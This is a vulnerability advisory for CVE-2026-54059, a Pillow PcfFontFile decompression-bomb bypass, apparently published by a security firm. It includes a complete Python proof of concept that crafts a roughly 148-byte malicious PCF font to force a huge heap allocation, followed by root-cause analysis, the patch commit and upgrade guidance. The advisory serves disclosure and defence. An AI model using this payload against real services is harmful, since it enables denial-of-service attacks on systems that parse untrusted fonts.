high · 7.5CVE-2026-54059Jul 20, 2026

CVE-2026-54059: Pillow PcfFontFile Decompression Bomb Protection Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Pillow's PCF font loader skips the decompression bomb size check, letting an attacker allocate over 1 GB of heap memory with a ~148-byte crafted font file.

Packagepillow
Ecosystempip
Affected< 12.3.0
Fixed in12.3.0

The problem

In PIL/PcfFontFile.py, _load_bitmaps() reads glyph width and height from the attacker-controlled PCF METRICS section and hands them straight to Image.frombytes(). The normal guard, Image._decompression_bomb_check(), is never called on this path.

Because frombytes() calls Image.new() first, the full C-heap buffer is allocated before any data validation happens. A single glyph can reach 65,535 x 131,070 pixels (roughly 1.07 GB at 1 bit per pixel), and there is no per-font limit. Any service that passes untrusted PCF font data to PcfFontFile(fp) is affected, including cases where the bitmap data itself is truncated (transient allocation still occurs before the resulting ValueError is raised).

Proof of concept

A working proof-of-concept for CVE-2026-54059 in pillow, with the exact payload below.

python
#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF triggers oversized heap allocation"""
import io, struct, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile

W, H = 14000, 14000   # 196 M pixels — above DecompressionBombError threshold

PCF_MAGIC     = 0x70636601
PCF_PROPS     = 1 << 0
PCF_METRICS   = 1 << 2
PCF_BITMAPS   = 1 << 3
PCF_ENCODINGS = 1 << 5

def build_bomb_pcf(xsize, ysize):
    props    = struct.pack("<III", 0, 0, 0)
    metrics  = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
    bitmaps  = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0)
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings  = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)
    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size : {len(pcf)} bytes")
print(f"[*] Glyph size    : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1', 1 bit/pixel)")

try:
    font = PcfFontFile(io.BytesIO(pcf))
    print("[!] CONFIRMED (persistent): bomb check bypassed")
except Exception as e:
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after heap allocation")
    print(f"    C-heap spike of ~{W*H//8//1024**2} MB occurred before exception")

# Expected output on vulnerable Pillow < 12.3.0:
# [*] PCF file size : 148 bytes
# [*] Glyph size    : 14000 x 14000 = 196,000,000 pixels
# [*] C-heap target : 23 MB (mode '1', 1 bit/pixel)
# [!] CONFIRMED (transient): ValueError after heap allocation
#     C-heap spike of ~23 MB occurred before exception
#
# Maximum amplification (max PCF dimensions):
# xsize = 65535, ysize = 131070 -> ~1.07 GB C-heap spike per glyph

The root cause is a missing call to Image._decompression_bomb_check((xsize, ysize)) before Image.frombytes() in _load_bitmaps(). Glyph dimensions come from unsigned 16-bit PCF METRICS fields, so xsize can reach 65,535 and ysize can reach 131,070 (ascent + descent), multiplying to roughly 8.5 billion pixels with no guard.

Image.frombytes() internally calls Image.new() to allocate the full pixel buffer on the C heap before it attempts to fill it with data. This means even a truncated file with no real bitmap data still causes the allocation spike, making denial of service trivial with a ~148-byte input.

The patch (commit 0a263e6264aa5399988d9acd3bbfbca2ca3ec77d) inserts Image._decompression_bomb_check((xsize, ysize)) immediately before the Image.frombytes() call in _load_bitmaps(), matching the protection already present on the Image.open() path. CWE-789: Memory Allocation with Excessive Size Value.

The fix

Upgrade Pillow to 12.3.0 or later (pip install --upgrade pillow). The fix is in commit 0a263e6264aa5399988d9acd3bbfbca2ca3ec77d. If you cannot upgrade immediately, avoid passing untrusted PCF font data to PcfFontFile(), and set OS or container memory limits per worker as a secondary control.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research